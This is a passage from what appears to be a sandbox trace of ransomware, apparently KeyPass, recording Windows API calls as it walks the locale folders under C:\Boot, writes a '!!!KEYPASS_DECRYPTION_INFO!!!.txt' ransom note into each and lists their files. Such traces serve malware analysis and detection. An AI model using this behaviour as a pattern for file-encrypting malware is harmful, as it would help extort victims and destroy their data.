(pszPath="C:\\Boot\\fr-FR\\memtest.exe.mui") returned=".mui" [0236.330] FindNextFileW (in: hFindFile=0xcba3b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.330] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.330] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.330] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.330] GetLastError () returned 0x3f0 [0236.330] PathAppendW (in: pszPath="C:\\Boot\\hr-HR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.330] PathFileExistsW (pszPath="C:\\Boot\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.331] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\hr-hr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0236.331] GetFileType (hFile=0x390) returned 0x1 [0236.331] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.331] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.331] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.331] WriteFile (in: hFile=0x390, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.332] WriteFile (in: hFile=0x390, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.332] CloseHandle (hObject=0x390) returned 1 [0236.332] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba678 [0236.333] FindNextFileW (in: hFindFile=0xcba678, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.333] FindNextFileW (in: hFindFile=0xcba678, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.333] PathFindExtensionW (pszPath="C:\\Boot\\hr-HR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.333] FindNextFileW (in: hFindFile=0xcba678, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.333] PathFindExtensionW (pszPath="C:\\Boot\\hr-HR\\bootmgr.exe.mui") returned=".mui" [0236.333] FindNextFileW (in: hFindFile=0xcba678, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.333] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.333] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.333] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.333] GetLastError () returned 0x3f0 [0236.333] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.333] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.333] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\hu-hu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0236.535] GetFileType (hFile=0x388) returned 0x1 [0236.535] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.536] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.536] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.536] WriteFile (in: hFile=0x388, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.537] WriteFile (in: hFile=0x388, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.537] CloseHandle (hObject=0x388) returned 1 [0236.537] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba7f8 [0236.537] FindNextFileW (in: hFindFile=0xcba7f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.538] FindNextFileW (in: hFindFile=0xcba7f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.538] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.538] FindNextFileW (in: hFindFile=0xcba7f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.538] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned=".mui" [0236.538] FindNextFileW (in: hFindFile=0xcba7f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.538] PathFindExtensionW (pszPath="C:\\Boot\\hu-HU\\memtest.exe.mui") returned=".mui" [0236.538] FindNextFileW (in: hFindFile=0xcba7f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.538] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.538] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.538] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.538] GetLastError () returned 0x3f0 [0236.538] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.538] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.542] CreateFileW (lpFileName="C:\\Boot\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\it-it\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0236.904] GetFileType (hFile=0x394) returned 0x1 [0236.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.904] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.904] WriteFile (in: hFile=0x394, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.905] WriteFile (in: hFile=0x394, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.905] CloseHandle (hObject=0x394) returned 1 [0236.905] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba8b8 [0236.905] FindNextFileW (in: hFindFile=0xcba8b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.905] FindNextFileW (in: hFindFile=0xcba8b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.905] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.905] FindNextFileW (in: hFindFile=0xcba8b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.905] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0236.906] FindNextFileW (in: hFindFile=0xcba8b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.906] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\memtest.exe.mui") returned=".mui" [0236.906] FindNextFileW (in: hFindFile=0xcba8b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.906] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.906] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.906] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.906] GetLastError () returned 0x3f0 [0236.906] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.906] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.950] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\ja-jp\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0236.966] GetFileType (hFile=0x398) returned 0x1 [0236.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0236.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0236.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0236.966] WriteFile (in: hFile=0x398, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0236.967] WriteFile (in: hFile=0x398, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0236.967] CloseHandle (hObject=0x398) returned 1 [0236.967] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba478 [0236.967] FindNextFileW (in: hFindFile=0xcba478, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.967] FindNextFileW (in: hFindFile=0xcba478, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.967] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0236.967] FindNextFileW (in: hFindFile=0xcba478, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.967] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0236.967] FindNextFileW (in: hFindFile=0xcba478, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0236.967] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\memtest.exe.mui") returned=".mui" [0236.967] FindNextFileW (in: hFindFile=0xcba478, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0236.967] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0236.968] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0236.968] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0236.968] GetLastError () returned 0x3f0 [0236.968] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0236.968] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0236.968] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\ko-kr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0237.058] GetFileType (hFile=0x39c) returned 0x1 [0237.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.058] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.059] WriteFile (in: hFile=0x39c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.059] WriteFile (in: hFile=0x39c, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.060] CloseHandle (hObject=0x39c) returned 1 [0237.060] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba1b8 [0237.060] FindNextFileW (in: hFindFile=0xcba1b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.060] FindNextFileW (in: hFindFile=0xcba1b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.060] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.060] FindNextFileW (in: hFindFile=0xcba1b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.060] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0237.060] FindNextFileW (in: hFindFile=0xcba1b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.060] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\memtest.exe.mui") returned=".mui" [0237.060] FindNextFileW (in: hFindFile=0xcba1b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.060] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.060] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.060] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.060] GetLastError () returned 0x3f0 [0237.060] PathAppendW (in: pszPath="C:\\Boot\\lt-LT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.060] PathFileExistsW (pszPath="C:\\Boot\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.073] CreateFileW (lpFileName="C:\\Boot\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\lt-lt\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a4 [0237.073] GetFileType (hFile=0x3a4) returned 0x1 [0237.073] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.073] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.073] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.073] WriteFile (in: hFile=0x3a4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.074] WriteFile (in: hFile=0x3a4, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.074] CloseHandle (hObject=0x3a4) returned 1 [0237.075] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba8f8 [0237.075] FindNextFileW (in: hFindFile=0xcba8f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.075] FindNextFileW (in: hFindFile=0xcba8f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.075] PathFindExtensionW (pszPath="C:\\Boot\\lt-LT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.075] FindNextFileW (in: hFindFile=0xcba8f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.075] PathFindExtensionW (pszPath="C:\\Boot\\lt-LT\\bootmgr.exe.mui") returned=".mui" [0237.075] FindNextFileW (in: hFindFile=0xcba8f8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.075] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.075] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.075] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.075] GetLastError () returned 0x3f0 [0237.075] PathAppendW (in: pszPath="C:\\Boot\\lv-LV\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.075] PathFileExistsW (pszPath="C:\\Boot\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.076] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\lv-lv\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a0 [0237.077] GetFileType (hFile=0x3a0) returned 0x1 [0237.077] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.077] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.077] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.077] WriteFile (in: hFile=0x3a0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.078] WriteFile (in: hFile=0x3a0, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.078] CloseHandle (hObject=0x3a0) returned 1 [0237.078] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba2b8 [0237.078] FindNextFileW (in: hFindFile=0xcba2b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.079] FindNextFileW (in: hFindFile=0xcba2b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.079] PathFindExtensionW (pszPath="C:\\Boot\\lv-LV\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0237.079] FindNextFileW (in: hFindFile=0xcba2b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.079] PathFindExtensionW (pszPath="C:\\Boot\\lv-LV\\bootmgr.exe.mui") returned=".mui" [0237.079] FindNextFileW (in: hFindFile=0xcba2b8, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0 [0237.079] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.079] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0237.079] FindNextFileW (in: hFindFile=0xc8abb8, lpFindFileData=0x2e4f814 | out: lpFindFileData=0x2e4f814) returned 1 [0237.079] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0237.079] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0237.079] GetLastError () returned 0x3f0 [0237.079] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Boot\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0237.079] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0237.079] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\boot\\nb-no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4f228, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a8 [0237.081] GetFileType (hFile=0x3a8) returned 0x1 [0237.081] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f258, cchData=2 | out: lpLCData="0") returned 2 [0237.081] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f244, cchData=2 | out: lpLCData="0") returned 2 [0237.081] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4f234, cchData=2 | out: lpLCData="0") returned 2 [0237.081] WriteFile (in: hFile=0x3a8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x3a4, lpOverlapped=0x0) returned 1 [0237.082] WriteFile (in: hFile=0x3a8, lpBuffer=0x2e4dec0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d7ec, lpOverlapped=0x0 | out: lpBuffer=0x2e4dec0*, lpNumberOfBytesWritten=0x2e4d7ec*=0x2a, lpOverlapped=0x0) returned 1 [0237.082] CloseHandle (hObject=0x3a8) returned 1 [0237.082] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 0xcba338 [0237.083] FindNextFileW (in: hFindFile=0xcba338, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.083] FindNextFileW (in: hFindFile=0xcba338, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0237.083] PathFindExtensionW 